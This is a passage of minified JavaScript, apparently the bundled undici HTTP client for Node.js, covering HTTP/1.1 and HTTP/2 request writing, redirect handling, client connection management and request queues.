mF3(A,K){let{method:q,path:Y,host:z,upgrade:w,blocking:H,reset:J}=K,{body:O,headers:X,contentLength:$}=K,_=q==="PUT"||q==="POST"||q==="PATCH"||q==="QUERY"||q==="PROPFIND"||q==="PROPPATCH";if(M5.isFormDataLike(O)){if(!U66)U66=j0A().extractBody;let[j,M]=U66(O);if(K.contentType==null)X.push("content-type",M);O=j.stream,$=j.length}else if(M5.isBlobLike(O)&&K.contentType==null&&O.type)X.push("content-type",O.type);if(O&&typeof O.read==="function")O.read(0);let G=M5.bodyLength(O);if($=G??$,$===null)$=K.contentLength;if($===0&&!_)$=null;if(BF3(q)&&$>0&&K.contentLength!==null&&K.contentLength!==$){if(A[c66])return M5.errorRequest(A,K,new b8A),!1;process.emitWarning(new b8A)}let Z=A[P0A],W=(j)=>{if(K.aborted||K.completed)return;M5.errorRequest(A,K,j||new u54),M5.destroy(O),M5.destroy(Z,new M0A("aborted"))};try{K.onConnect(W)}catch(j){M5.errorRequest(A,K,j)}if(K.aborted)return!1;if(q==="HEAD")Z[SV]=!0;if(w||q==="CONNECT")Z[SV]=!0;if(J!=null)Z[SV]=J;if(A[S54]&&Z[LF3]++>=A[S54])Z[SV]=!0;if(H)Z[DRA]=!0;let D=`${q} ${Y} HTTP/1.1\r `;if(typeof z==="string")D+=`host: ${z}\r `;else D+=A[NF3];if(w)D+=`connection: upgrade\r upgrade: ${w}\r `;else if(A[zK1]&&!Z[SV])D+=`connection: keep-alive\r `;else D+=`connection: close\r `;if(Array.isArray(X))for(let j=0;j<X.length;j+=2){let M=X[j+0],P=X[j+1];if(Array.isArray(P))for(let f=0;f<P.length;f++)D+=`${M}: ${P[f]}\r `;else D+=`${M}: ${P}\r `}if(y54.sendHeaders.hasSubscribers)y54.sendHeaders.publish({request:K,headers:D,socket:Z});if(!O||G===0)b54(W,null,A,K,Z,$,D,_);else if(M5.isBuffer(O))b54(W,O,A,K,Z,$,D,_);else if(M5.isBlobLike(O))if(typeof O.stream==="function")x54(W,O.stream(),A,K,Z,$,D,_);else FF3(W,O,A,K,Z,$,D,_);else if(M5.isStream(O))gF3(W,O,A,K,Z,$,D,_);else if(M5.isIterable(O))x54(W,O,A,K,Z,$,D,_);else Tq(!1);return!0}function gF3(A,K,q,Y,z,w,H,J){Tq(w!==0||q[TD]===0,"stream body cannot be pipelined");let O=!1,X=new n66({abort:A,socket:z,request:Y,contentLength:w,client:q,expectsPayload:J,header:H}),$=function(W){if(O)return;try{if(!X.write(W)&&this.pause)this.pause()}catch(D){M5.destroy(this,D)}},_=function(){if(O)return;if(K.resume)K.resume()},G=function(){if(queueMicrotask(()=>{K.removeListener("error",Z)}),!O){let W=new u54;queueMicrotask(()=>Z(W))}},Z=function(W){if(O)return;if(O=!0,Tq(z.destroyed||z[Ln]&&q[TD]<=1),z.off("drain",_).off("error",Z),K.removeListener("data",$).removeListener("end",Z).removeListener("close",G),!W)try{X.end()}catch(D){W=D}if(X.destroy(W),W&&(W.code!=="UND_ERR_INFO"||W.message!=="reset"))M5.destroy(K,W);else M5.destroy(K)};if(K.on("data",$).on("end",Z).on("error",Z).on("close",G),K.resume)K.resume();if(z.on("drain",_).on("error",Z),K.errorEmitted??K.errored)setImmediate(()=>Z(K.errored));else if(K.endEmitted??K.readableEnded)setImmediate(()=>Z(null));if(K.closeEmitted??K.closed)setImmediate(G)}function b54(A,K,q,Y,z,w,H,J){try{if(!K)if(w===0)z.write(`${H}content-length: 0\r \r `,"latin1");else Tq(w===null,"no body must not have content length"),z.write(`${H}\r `,"latin1");else if(M5.isBuffer(K)){if(Tq(w===K.byteLength,"buffer body must have content length"),z.cork(),z.write(`${H}content-length: ${w}\r \r `,"latin1"),z.write(K),z.uncork(),Y.onBodySent(K),!J&&Y.reset!==!1)z[SV]=!0}Y.onRequestSent(),q[Cn]()}catch(O){A(O)}}async function FF3(A,K,q,Y,z,w,H,J){Tq(w===K.size,"blob body must have content length");try{if(w!=null&&w!==K.size)throw new b8A;let O=Buffer.from(await K.arrayBuffer());if(z.cork(),z.write(`${H}content-length: ${w}\r \r `,"latin1"),z.write(O),z.uncork(),Y.onBodySent(O),Y.onRequestSent(),!J&&Y.reset!==!1)z[SV]=!0;q[Cn]()}catch(O){A(O)}}async function x54(A,K,q,Y,z,w,H,J){Tq(w!==0||q[TD]===0,"iterator body cannot be pipelined");let O=null;function X(){if(O){let G=O;O=null,G()}}let $=()=>new Promise((G,Z)=>{if(Tq(O===null),z[fk])Z(z[fk]);else O=G});z.on("close",X).on("drain",X);let _=new n66({abort:A,socket:z,request:Y,contentLength:w,client:q,expectsPayload:J,header:H});try{for await(let G of K){if(z[fk])throw z[fk];if(!_.write(G))await $()}_.end()}catch(G){_.destroy(G)}finally{z.off("close",X).off("drain",X)}}class n66{constructor({abort:A,socket:K,request:q,contentLength:Y,client:z,expectsPayload:w,header:H}){this.socket=K,this.request=q,this.contentLength=Y,this.client=z,this.bytesWritten=0,this.expectsPayload=w,this.header=H,this.abort=A,K[Ln]=!0}write(A){let{socket:K,request:q,contentLength:Y,client:z,bytesWritten:w,expectsPayload:H,header:J}=this;if(K[fk])throw K[fk];if(K.destroyed)return!1;let O=Buffer.byteLength(A);if(!O)return!0;if(Y!==null&&w+O>Y){if(z[c66])throw new b8A;process.emitWarning(new b8A)}if(K.cork(),w===0){if(!H&&q.reset!==!1)K[SV]=!0;if(Y===null)K.write(`${J}transfer-encoding: chunked\r `,"latin1");else K.write(`${J}content-length: ${Y}\r \r `,"latin1")}if(Y===null)K.write(`\r ${O.toString(16)}\r `,"latin1");this.bytesWritten+=O;let X=K.write(A);if(K.uncork(),q.onBodySent(A),!X){if(K[nO].timeout&&K[nO].timeoutType===V0A){if(K[nO].timeout.refresh)K[nO].timeout.refresh()}}return X}end(){let{socket:A,contentLength:K,client:q,bytesWritten:Y,expectsPayload:z,header:w,request:H}=this;if(H.onRequestSent(),A[Ln]=!1,A[fk])throw A[fk];if(A.destroyed)return;if(Y===0)if(z)A.write(`${w}content-length: 0\r \r `,"latin1");else A.write(`${w}\r `,"latin1");else if(K===null)A.write(`\r 0\r \r `,"latin1");if(K!==null&&Y!==K)if(q[c66])throw new b8A;else process.emitWarning(new b8A);if(A[nO].timeout&&A[nO].timeoutType===V0A){if(A[nO].timeout.refresh)A[nO].timeout.refresh()}q[Cn]()}destroy(A){let{socket:K,client:q,abort:Y}=this;if(K[Ln]=!1,A)Tq(q[TD]<=1,"pipeline should only contain this request"),Y(A)}}F54.exports=xF3});var r54=v((j6w,n54)=>{var Nk=CA("node:assert"),{pipeline:QF3}=CA("node:stream"),r9=j9(),{RequestContentLengthMismatchError:r66,RequestAbortedError:U54,SocketError:jRA,InformationalError:o66}=_2(),{kUrl:OK1,kReset:$K1,kClient:f0A,kRunning:_K1,kPending:UF3,kQueue:Rn,kPendingIdx:a66,kRunningIdx:Wy,kError:jy,kSocket:wG,kStrictContentLength:pF3,kOnError:s66,kMaxConcurrentStreams:i54,kHTTP2Session:Dy,kResume:yn,kSize:dF3,kHTTPContext:cF3}=MJ(),WQ=Symbol("open streams"),p54,d54=!1,XK1;try{XK1=CA("node:http2")}catch{XK1={constants:{}}}var{constants:{HTTP2_HEADER_AUTHORITY:lF3,HTTP2_HEADER_METHOD:iF3,HTTP2_HEADER_PATH:nF3,HTTP2_HEADER_SCHEME:rF3,HTTP2_HEADER_CONTENT_LENGTH:oF3,HTTP2_HEADER_EXPECT:aF3,HTTP2_HEADER_STATUS:sF3}}=XK1;function tF3(A){let K=[];for(let[q,Y]of Object.entries(A))if(Array.isArray(Y))for(let z of Y)K.push(Buffer.from(q),Buffer.from(z));else K.push(Buffer.from(q),Buffer.from(Y));return K}async function eF3(A,K){if(A[wG]=K,!d54)d54=!0,process.emitWarning("H2 support is experimental, expect them to change at any time.",{code:"UNDICI-H2"});let q=XK1.connect(A[OK1],{createConnection:()=>K,peerMaxConcurrentStreams:A[i54]});q[WQ]=0,q[f0A]=A,q[wG]=K,r9.addListener(q,"error",KQ3),r9.addListener(q,"frameError",qQ3),r9.addListener(q,"end",YQ3),r9.addListener(q,"goaway",zQ3),r9.addListener(q,"close",function(){let{[f0A]:z}=this,{[wG]:w}=z,H=this[wG][jy]||this[jy]||new jRA("closed",r9.getSocketInfo(w));if(z[Dy]=null,z.destroyed){Nk(z[UF3]===0);let J=z[Rn].splice(z[Wy]);for(let O=0;O<J.length;O++){let X=J[O];r9.errorRequest(z,X,H)}}}),q.unref(),A[Dy]=q,K[Dy]=q,r9.addListener(K,"error",function(z){Nk(z.code!=="ERR_TLS_CERT_ALTNAME_INVALID"),this[jy]=z,this[f0A][s66](z)}),r9.addListener(K,"end",function(){r9.destroy(this,new jRA("other side closed",r9.getSocketInfo(this)))}),r9.addListener(K,"close",function(){let z=this[jy]||new jRA("closed",r9.getSocketInfo(this));if(A[wG]=null,this[Dy]!=null)this[Dy].destroy(z);A[a66]=A[Wy],Nk(A[_K1]===0),A.emit("disconnect",A[OK1],[A],z),A[yn]()});let Y=!1;return K.on("close",()=>{Y=!0}),{version:"h2",defaultPipelining:1/0,write(...z){return HQ3(A,...z)},resume(){AQ3(A)},destroy(z,w){if(Y)queueMicrotask(w);else K.destroy(z).on("close",w)},get destroyed(){return K.destroyed},busy(){return!1}}}function AQ3(A){let K=A[wG];if(K?.destroyed===!1)if(A[dF3]===0&&A[i54]===0)K.unref(),A[Dy].unref();else K.ref(),A[Dy].ref()}function KQ3(A){Nk(A.code!=="ERR_TLS_CERT_ALTNAME_INVALID"),this[wG][jy]=A,this[f0A][s66](A)}function qQ3(A,K,q){if(q===0){let Y=new o66(`HTTP/2: "frameError" received - type ${A}, code ${K}`);this[wG][jy]=Y,this[f0A][s66](Y)}}function YQ3(){let A=new jRA("other side closed",r9.getSocketInfo(this[wG]));this.destroy(A),r9.destroy(this[wG],A)}function zQ3(A){let K=this[jy]||new jRA(`HTTP/2: "GOAWAY" frame received with code ${A}`,r9.getSocketInfo(this)),q=this[f0A];if(q[wG]=null,q[cF3]=null,this[Dy]!=null)this[Dy].destroy(K),this[Dy]=null;if(r9.destroy(this[wG],K),q[Wy]<q[Rn].length){let Y=q[Rn][q[Wy]];q[Rn][q[Wy]++]=null,r9.errorRequest(q,Y,K),q[a66]=q[Wy]}Nk(q[_K1]===0),q.emit("disconnect",q[OK1],[q],K),q[yn]()}function wQ3(A){return A!=="GET"&&A!=="HEAD"&&A!=="OPTIONS"&&A!=="TRACE"&&A!=="CONNECT"}function HQ3(A,K){let q=A[Dy],{method:Y,path:z,host:w,upgrade:H,expectContinue:J,signal:O,headers:X}=K,{body:$}=K;if(H)return r9.errorRequest(A,K,Error("Upgrade not supported for H2")),!1;let _={};for(let N=0;N<X.length;N+=2){let T=X[N+0],C=X[N+1];if(Array.isArray(C))for(let R=0;R<C.length;R++)if(_[T])_[T]+=`,${C[R]}`;else _[T]=C[R];else _[T]=C}let G,{hostname:Z,port:W}=A[OK1];_[lF3]=w||`${Z}${W?`:${W}`:""}`,_[iF3]=Y;let D=(N)=>{if(K.aborted||K.completed)return;if(N=N||new U54,r9.errorRequest(A,K,N),G!=null)r9.destroy(G,N);r9.destroy($,N),A[Rn][A[Wy]++]=null,A[yn]()};try{K.onConnect(D)}catch(N){r9.errorRequest(A,K,N)}if(K.aborted)return!1;if(Y==="CONNECT"){if(q.ref(),G=q.request(_,{endStream:!1,signal:O}),G.id&&!G.pending)K.onUpgrade(null,null,G),++q[WQ],A[Rn][A[Wy]++]=null;else G.once("ready",()=>{K.onUpgrade(null,null,G),++q[WQ],A[Rn][A[Wy]++]=null});return G.once("close",()=>{if(q[WQ]-=1,q[WQ]===0)q.unref()}),!0}_[nF3]=z,_[rF3]="https";let j=Y==="PUT"||Y==="POST"||Y==="PATCH";if($&&typeof $.read==="function")$.read(0);let M=r9.bodyLength($);if(r9.isFormDataLike($)){p54??=j0A().extractBody;let[N,T]=p54($);_["content-type"]=T,$=N.stream,M=N.length}if(M==null)M=K.contentLength;if(M===0||!j)M=null;if(wQ3(Y)&&M>0&&K.contentLength!=null&&K.contentLength!==M){if(A[pF3])return r9.errorRequest(A,K,new r66),!1;process.emitWarning(new r66)}if(M!=null)Nk($,"no body must not have content length"),_[oF3]=`${M}`;q.ref();let P=Y==="GET"||Y==="HEAD"||$===null;if(J)_[aF3]="100-continue",G=q.request(_,{endStream:P,signal:O}),G.once("continue",f);else G=q.request(_,{endStream:P,signal:O}),f();return++q[WQ],G.once("response",(N)=>{let{[sF3]:T,...C}=N;if(K.onResponseStarted(),K.aborted){let R=new U54;r9.errorRequest(A,K,R),r9.destroy(G,R);return}if(K.onHeaders(Number(T),tF3(C),G.resume.bind(G),"")===!1)G.pause();G.on("data",(R)=>{if(K.onData(R)===!1)G.pause()})}),G.once("end",()=>{if(G.state?.state==null||G.state.state<6)K.onComplete([]);if(q[WQ]===0)q.unref();D(new o66("HTTP/2: stream half-closed (remote)")),A[Rn][A[Wy]++]=null,A[a66]=A[Wy],A[yn]()}),G.once("close",()=>{if(q[WQ]-=1,q[WQ]===0)q.unref()}),G.once("error",function(N){D(N)}),G.once("frameError",(N,T)=>{D(new o66(`HTTP/2: "frameError" received - type ${N}, code ${T}`))}),!0;function f(){if(!$||M===0)c54(D,G,null,A,K,A[wG],M,j);else if(r9.isBuffer($))c54(D,G,$,A,K,A[wG],M,j);else if(r9.isBlobLike($))if(typeof $.stream==="function")l54(D,G,$.stream(),A,K,A[wG],M,j);else OQ3(D,G,$,A,K,A[wG],M,j);else if(r9.isStream($))JQ3(D,A[wG],j,G,$,A,K,M);else if(r9.isIterable($))l54(D,G,$,A,K,A[wG],M,j);else Nk(!1)}}function c54(A,K,q,Y,z,w,H,J){try{if(q!=null&&r9.isBuffer(q))Nk(H===q.byteLength,"buffer body must have content length"),K.cork(),K.write(q),K.uncork(),K.end(),z.onBodySent(q);if(!J)w[$K1]=!0;z.onRequestSent(),Y[yn]()}catch(O){A(O)}}function JQ3(A,K,q,Y,z,w,H,J){Nk(J!==0||w[_K1]===0,"stream body cannot be pipelined");let O=QF3(z,Y,($)=>{if($)r9.destroy(O,$),A($);else{if(r9.removeAllListeners(O),H.onRequestSent(),!q)K[$K1]=!0;w[yn]()}});r9.addListener(O,"data",X);function X($){H.onBodySent($)}}async function OQ3(A,K,q,Y,z,w,H,J){Nk(H===q.size,"blob body must have content length");try{if(H!=null&&H!==q.size)throw new r66;let O=Buffer.from(await q.arrayBuffer());if(K.cork(),K.write(O),K.uncork(),K.end(),z.onBodySent(O),z.onRequestSent(),!J)w[$K1]=!0;Y[yn]()}catch(O){A(O)}}async function l54(A,K,q,Y,z,w,H,J){Nk(H!==0||Y[_K1]===0,"iterator body cannot be pipelined");let O=null;function X(){if(O){let _=O;O=null,_()}}let $=()=>new Promise((_,G)=>{if(Nk(O===null),w[jy])G(w[jy]);else O=_});K.on("close",X).on("drain",X);try{for await(let _ of q){if(w[jy])throw w[jy];let G=K.write(_);if(z.onBodySent(_),!G)await $()}if(K.end(),z.onRequestSent(),!J)w[$K1]=!0;Y[yn]()}catch(_){A(_)}finally{K.off("close",X).off("drain",X)}}n54.exports=eF3});var GK1=v((M6w,t54)=>{var jx=j9(),{kBodyUsed:MRA}=MJ(),e66=CA("node:assert"),{InvalidArgumentError:XQ3}=_2(),$Q3=CA("node:events"),_Q3=[300,301,302,303,307,308],o54=Symbol("body");class t66{constructor(A){this[o54]=A,this[MRA]=!1}async*[Symbol.asyncIterator](){e66(!this[MRA],"disturbed"),this[MRA]=!0,yield*this[o54]}}class s54{constructor(A,K,q,Y){if(K!=null&&(!Number.isInteger(K)||K<0))throw new XQ3("maxRedirections must be a positive number");if(jx.validateHandler(Y,q.method,q.upgrade),this.dispatch=A,this.location=null,this.abort=null,this.opts={...q,maxRedirections:0},this.maxRedirections=K,this.handler=Y,this.history=[],this.redirectionLimitReached=!1,jx.isStream(this.opts.body)){if(jx.bodyLength(this.opts.body)===0)this.opts.body.on("data",function(){e66(!1)});if(typeof this.opts.body.readableDidRead!=="boolean")this.opts.body[MRA]=!1,$Q3.prototype.on.call(this.opts.body,"data",function(){this[MRA]=!0})}else if(this.opts.body&&typeof this.opts.body.pipeTo==="function")this.opts.body=new t66(this.opts.body);else if(this.opts.body&&typeof this.opts.body!=="string"&&!ArrayBuffer.isView(this.opts.body)&&jx.isIterable(this.opts.body))this.opts.body=new t66(this.opts.body)}onConnect(A){this.abort=A,this.handler.onConnect(A,{history:this.history})}onUpgrade(A,K,q){this.handler.onUpgrade(A,K,q)}onError(A){this.handler.onError(A)}onHeaders(A,K,q,Y){if(this.location=this.history.length>=this.maxRedirections||jx.isDisturbed(this.opts.body)?null:GQ3(A,K),this.opts.throwOnMaxRedirect&&this.history.length>=this.maxRedirections){if(this.request)this.request.abort(Error("max redirects"));this.redirectionLimitReached=!0,this.abort(Error("max redirects"));return}if(this.opts.origin)this.history.push(new URL(this.opts.path,this.opts.origin));if(!this.location)return this.handler.onHeaders(A,K,q,Y);let{origin:z,pathname:w,search:H}=jx.parseURL(new URL(this.location,this.opts.origin&&new URL(this.opts.path,this.opts.origin))),J=H?`${w}${H}`:w;if(this.opts.headers=ZQ3(this.opts.headers,A===303,this.opts.origin!==z),this.opts.path=J,this.opts.origin=z,this.opts.maxRedirections=0,this.opts.query=null,A===303&&this.opts.method!=="HEAD")this.opts.method="GET",this.opts.body=null}onData(A){if(this.location);else return this.handler.onData(A)}onComplete(A){if(this.location)this.location=null,this.abort=null,this.dispatch(this.opts,this);else this.handler.onComplete(A)}onBodySent(A){if(this.handler.onBodySent)this.handler.onBodySent(A)}}function GQ3(A,K){if(_Q3.indexOf(A)===-1)return null;for(let q=0;q<K.length;q+=2)if(K[q].length===8&&jx.headerNameToString(K[q])==="location")return K[q+1]}function a54(A,K,q){if(A.length===4)return jx.headerNameToString(A)==="host";if(K&&jx.headerNameToString(A).startsWith("content-"))return!0;if(q&&(A.length===13||A.length===6||A.length===19)){let Y=jx.headerNameToString(A);return Y==="authorization"||Y==="cookie"||Y==="proxy-authorization"}return!1}function ZQ3(A,K,q){let Y=[];if(Array.isArray(A)){for(let z=0;z<A.length;z+=2)if(!a54(A[z],K,q))Y.push(A[z],A[z+1])}else if(A&&typeof A==="object"){for(let z of Object.keys(A))if(!a54(z,K,q))Y.push(z,A[z])}else e66(A==null,"headers must be an object or an array");return Y}t54.exports=s54});var ZK1=v((P6w,e54)=>{var WQ3=GK1();function DQ3({maxRedirections:A}){return(K)=>{return function(Y,z){let{maxRedirections:w=A}=Y;if(!w)return K(Y,z);let H=new WQ3(K,w,Y,z);return Y={...Y,maxRedirections:0},K(Y,H)}}}e54.exports=DQ3});var ERA=v((V6w,$34)=>{var DQ=CA("node:assert"),w34=CA("node:net"),jQ3=CA("node:http"),x8A=j9(),{channels:N0A}=Y0A(),MQ3=lK4(),PQ3=J0A(),{InvalidArgumentError:n0,InformationalError:VQ3,ClientDestroyedError:fQ3}=_2(),NQ3=wRA(),{kUrl:Mx,kServerName:In,kClient:TQ3,kBusy:A86,kConnect:vQ3,kResuming:u8A,kRunning:TRA,kPending:vRA,kSize:NRA,kQueue:My,kConnected:EQ3,kConnecting:T0A,kNeedDrain:hn,kKeepAliveDefaultTimeout:A34,kHostHeader:kQ3,kPendingIdx:Py,kRunningIdx:jQ,kError:CQ3,kPipelining:WK1,kKeepAliveTimeoutValue:LQ3,kMaxHeadersSize:RQ3,kKeepAliveMaxTimeout:yQ3,kKeepAliveTimeoutThreshold:IQ3,kHeadersTimeout:SQ3,kBodyTimeout:hQ3,kStrictContentLength:bQ3,kConnector:PRA,kMaxRedirections:xQ3,kMaxRequests:K86,kCounter:uQ3,kClose:BQ3,kDestroy:mQ3,kDispatch:gQ3,kInterceptors:K34,kLocalAddress:VRA,kMaxResponseSize:FQ3,kOnError:QQ3,kHTTPContext:r0,kMaxConcurrentStreams:UQ3,kResume:fRA}=MJ(),pQ3=Q54(),dQ3=r54(),q34=!1,Sn=Symbol("kClosedResolve"),Y34=()=>{};function H34(A){return A[WK1]??A[r0]?.defaultPipelining??1}class J34 extends PQ3{constructor(A,{interceptors:K,maxHeaderSize:q,headersTimeout:Y,socketTimeout:z,requestTimeout:w,connectTimeout:H,bodyTimeout:J,idleTimeout:O,keepAlive:X,keepAliveTimeout:$,maxKeepAliveTimeout:_,keepAliveMaxTimeout:G,keepAliveTimeoutThreshold:Z,socketPath:W,pipelining:D,tls:j,strictContentLength:M,maxCachedSessions:P,maxRedirections:f,connect:N,maxRequestsPerClient:T,localAddress:C,maxResponseSize:R,autoSelectFamily:x,autoSelectFamilyAttemptTimeout:y,maxConcurrentStreams:B,allowH2:b}={}){super();if(X!==void 0)throw new n0("unsupported keepAlive, use pipelining=0 instead");if(z!==void 0)throw new n0("unsupported socketTimeout, use headersTimeout & bodyTimeout instead");if(w!==void 0)throw new n0("unsupported requestTimeout, use headersTimeout & bodyTimeout instead");if(O!==void 0)throw new n0("unsupported idleTimeout, use keepAliveTimeout instead");if(_!==void 0)throw new n0("unsupported maxKeepAliveTimeout, use keepAliveMaxTimeout instead");if(q!=null&&!Number.isFinite(q))throw new n0("invalid maxHeaderSize");if(W!=null&&typeof W!=="string")throw new n0("invalid socketPath");if(H!=null&&(!Number.isFinite(H)||H<0))throw new n0("invalid connectTimeout");if($!=null&&(!Number.isFinite($)||$<=0))throw new n0("invalid keepAliveTimeout");if(G!=null&&(!Number.isFinite(G)||G<=0))throw new n0("invalid keepAliveMaxTimeout");if(Z!=null&&!Number.isFinite(Z))throw new n0("invalid keepAliveTimeoutThreshold");if(Y!=null&&(!Number.isInteger(Y)||Y<0))throw new n0("headersTimeout must be a positive integer or zero");if(J!=null&&(!Number.isInteger(J)||J<0))throw new n0("bodyTimeout must be a positive integer or zero");if(N!=null&&typeof N!=="function"&&typeof N!=="object")throw new n0("connect must be a function or an object");if(f!=null&&(!Number.isInteger(f)||f<0))throw new n0("maxRedirections must be a positive number");if(T!=null&&(!Number.isInteger(T)||T<0))throw new n0("maxRequestsPerClient must be a positive number");if(C!=null&&(typeof C!=="string"||w34.isIP(C)===0))throw new n0("localAddress must be valid string IP address");if(R!=null&&(!Number.isInteger(R)||R<-1))throw new n0("maxResponseSize must be a positive number");if(y!=null&&(!Number.isInteger(y)||y<-1))throw new n0("autoSelectFamilyAttemptTimeout must be a positive number");if(b!=null&&typeof b!=="boolean")throw new n0("allowH2 must be a valid boolean value");if(B!=null&&(typeof B!=="number"||B<1))throw new n0("maxConcurrentStreams must be a positive integer, greater than 0");if(typeof N!=="function")N=NQ3({...j,maxCachedSessions:P,allowH2:b,socketPath:W,timeout:H,...x?{autoSelectFamily:x,autoSelectFamilyAttemptTimeout:y}:void 0,...N});if(K?.Client&&Array.isArray(K.Client)){if(this[K34]=K.Client,!q34)q34=!0,process.emitWarning("Client.Options#interceptor is deprecated. Use Dispatcher#compose instead.",{code:"UNDICI-CLIENT-INTERCEPTOR-DEPRECATED"})}else this[K34]=[cQ3({maxRedirections:f})];this[Mx]=x8A.parseOrigin(A),this[PRA]=N,this[WK1]=D!=null?D:1,this[RQ3]=q||jQ3.maxHeaderSize,this[A34]=$==null?4000:$,this[yQ3]=G==null?600000:G,this[IQ3]=Z==null?2000:Z,this[LQ3]=this[A34],this[In]=null,this[VRA]=C!=null?C:null,this[u8A]=0,this[hn]=0,this[kQ3]=`host: ${this[Mx].hostname}${this[Mx].port?`:${this[Mx].port}`:""}\r `,this[hQ3]=J!=null?J:300000,this[SQ3]=Y!=null?Y:300000,this[bQ3]=M==null?!0:M,this[xQ3]=f,this[K86]=T,this[Sn]=null,this[FQ3]=R>-1?R:-1,this[UQ3]=B!=null?B:100,this[r0]=null,this[My]=[],this[jQ]=0,this[Py]=0,this[fRA]=(F)=>q86(this,F),this[QQ3]=(F)=>O34(this,F)}get pipelining(){return this[WK1]}set pipelining(A){this[WK1]=A,this[fRA](!0)}get[vRA](){return this[My].length-this[Py]}get[TRA](){return this[Py]-this[jQ]}get[NRA](){return this[My].length-this[jQ]}get[EQ3](){return!!this[r0]&&!this[T0A]&&!this[r0].destroyed}get[A86](){return Boolean(this[r0]?.busy(null)||this[NRA]>=(H34(this)||1)||this[vRA]>0)}[vQ3](A){X34(this),this.once("connect",A)}[gQ3](A,K){let q=A.origin||this[Mx].origin,Y=new MQ3(q,A,K);if(this[My].push(Y),this[u8A]);else if(x8A.bodyLength(Y.body)==null&&x8A.isIterable(Y.body))this[u8A]=1,queueMicrotask(()=>q86(this));else this[fRA](!0);if(this[u8A]&&this[hn]!==2&&this[A86])this[hn]=2;return this[hn]<2}async[BQ3](){return new Promise((A)=>{if(this[NRA])this[Sn]=A;else A(null)})}async[mQ3](A){return new Promise((K)=>{let q=this[My].splice(this[Py]);for(let z=0;z<q.length;z++){let w=q[z];x8A.errorRequest(this,w,A)}let Y=()=>{if(this[Sn])this[Sn](),this[Sn]=null;K(null)};if(this[r0])this[r0].destroy(A,Y),this[r0]=null;else queueMicrotask(Y);this[fRA]()})}}var cQ3=ZK1();function O34(A,K){if(A[TRA]===0&&K.code!=="UND_ERR_INFO"&&K.code!=="UND_ERR_SOCKET"){DQ(A[Py]===A[jQ]);let q=A[My].splice(A[jQ]);for(let Y=0;Y<q.length;Y++){let z=q[Y];x8A.errorRequest(A,z,K)}DQ(A[NRA]===0)}}async function X34(A){DQ(!A[T0A]),DQ(!A[r0]);let{host:K,hostname:q,protocol:Y,port:z}=A[Mx];if(q[0]==="["){let w=q.indexOf("]");DQ(w!==-1);let H=q.substring(1,w);DQ(w34.isIP(H)),q=H}if(A[T0A]=!0,N0A.beforeConnect.hasSubscribers)N0A.beforeConnect.publish({connectParams:{host:K,hostname:q,protocol:Y,port:z,version:A[r0]?.version,servername:A[In],localAddress:A[VRA]},connector:A[PRA]});try{let w=await new Promise((H,J)=>{A[PRA]({host:K,hostname:q,protocol:Y,port:z,servername:A[In],localAddress:A[VRA]},(O,X)=>{if(O)J(O);else H(X)})});if(A.destroyed){x8A.destroy(w.on("error",Y34),new fQ3);return}DQ(w);try{A[r0]=w.alpnProtocol==="h2"?await dQ3(A,w):await pQ3(A,w)}catch(H){throw w.destroy().on("error",Y34),H}if(A[T0A]=!1,w[uQ3]=0,w[K86]=A[K86],w[TQ3]=A,w[CQ3]=null,N0A.connected.hasSubscribers)N0A.connected.publish({connectParams:{host:K,hostname:q,protocol:Y,port:z,version:A[r0]?.version,servername:A[In],localAddress:A[VRA]},connector:A[PRA],socket:w});A.emit("connect",A[Mx],[A])}catch(w){if(A.destroyed)return;if(A[T0A]=!1,N0A.connectError.hasSubscribers)N0A.connectError.publish({connectParams:{host:K,hostname:q,protocol:Y,port:z,version:A[r0]?.version,servername:A[In],localAddress:A[VRA]},connector:A[PRA],error:w});if(w.code==="ERR_TLS_CERT_ALTNAME_INVALID"){DQ(A[TRA]===0);while(A[vRA]>0&&A[My][A[Py]].servername===A[In]){let H=A[My][A[Py]++];x8A.errorRequest(A,H,w)}}else O34(A,w);A.emit("connectionError",A[Mx],[A],w)}A[fRA]()}function z34(A){A[hn]=0,A.emit("drain",A[Mx],[A])}function q86(A,K){if(A[u8A]===2)return;if(A[u8A]=2,lQ3(A,K),A[u8A]=0,A[jQ]>256)A[My].splice(0,A[jQ]),A[Py]-=A[jQ],A[jQ]=0}function lQ3(A,K){while(!0){if(A.destroyed){DQ(A[vRA]===0);return}if(A[Sn]&&!A[NRA]){A[Sn](),A[Sn]=null;return}if(A[r0])A[r0].resume();if(A[A86])A[hn]=2;else if(A[hn]===2){if(K)A[hn]=1,queueMicrotask(()=>z34(A));else z34(A);continue}if(A[vRA]===0)return;if(A[TRA]>=(H34(A)||1))return;let q=A[My][A[Py]];if(A[Mx].protocol==="https:"&&A[In]!==q.servername){if(A[TRA]>0)return;A[In]=q.servername,A[r0]?.destroy(new VQ3("servername changed"),()=>{A[r0]=null,q86(A)})}if(A[T0A])return;if(!A[r0]){X34(A);return}if(A[r0].destroyed)return;if(A[r0].busy(q))return;if(!q.aborted&&A[r0].write(q))A[Py]++;else A[My].splice(A[Py],1)}}$34.exports=J34});var z86=v((f6w,_34)=>{class Y86{constructor(){this.bottom=0,this.top=0,this.list=Array(2048),this.next=null}isEmpty(){return this.top===this.bottom}isFull(){return(this.top+1&2047)===this.bottom}push(A){this.list[this.top]=A,this.top=this.top+1&2047}shift(){let A=this.list[this.bottom];if(A===void 0)return null;return this.list[this.bottom]=void 0,this.bottom=this.bottom+1&2047,A}}_34.exports=class{constructor(){this.head=this.tail=new Y86}isEmpty(){return this.head.isEmpty()}push(K){if(this.head.isFull())this.head=this.head.next=new Y86;this.head.push(K)}shift(){let K=this.tail,q=K.shift();if(K.isEmpty()&&K.next!==null)this.tail=K.next;return q}}});var W34=v((N6w,Z34)=>{var{kFree:iQ3,kConnected:nQ3,kPending:rQ3,kQueued:oQ3,kRunning:aQ3,kSize:sQ3}=MJ(),B8A=Symbol("pool");class G34{constructor(A){this[B8A]=A}get connected(){return this[B8A][nQ3]}get free(){return this[B8A][iQ3]}get pending(){return this[B8A][rQ3]}get queued(){return this[B8A][oQ3]}get running(){return this[B8A][aQ3]}get size(){return this[B8A][sQ3]}}Z34.exports=G34});var X86=v((T6w,k34)=>{var tQ3=J0A(),eQ3=z86(),{kConnected:w86,kSize:D34,kRunning:j34,kPending:M34,kQueued:kRA,kBusy:AU3,kFree:KU3,kUrl:qU3,kClose:YU3,kDestroy:zU3,kDispatch:wU3}=MJ(),HU3=W34(),hV=Symbol("clients"),zM=Symbol("needDrain"),CRA=Symbol("queue"),H86=Symbol("closed resolve"),J86=Symbol("onDrain"),P34=Symbol("onConnect"),V34=Symbol("onDisconnect"),f34=Symbol("onConnectionError"),O86=Symbol("get 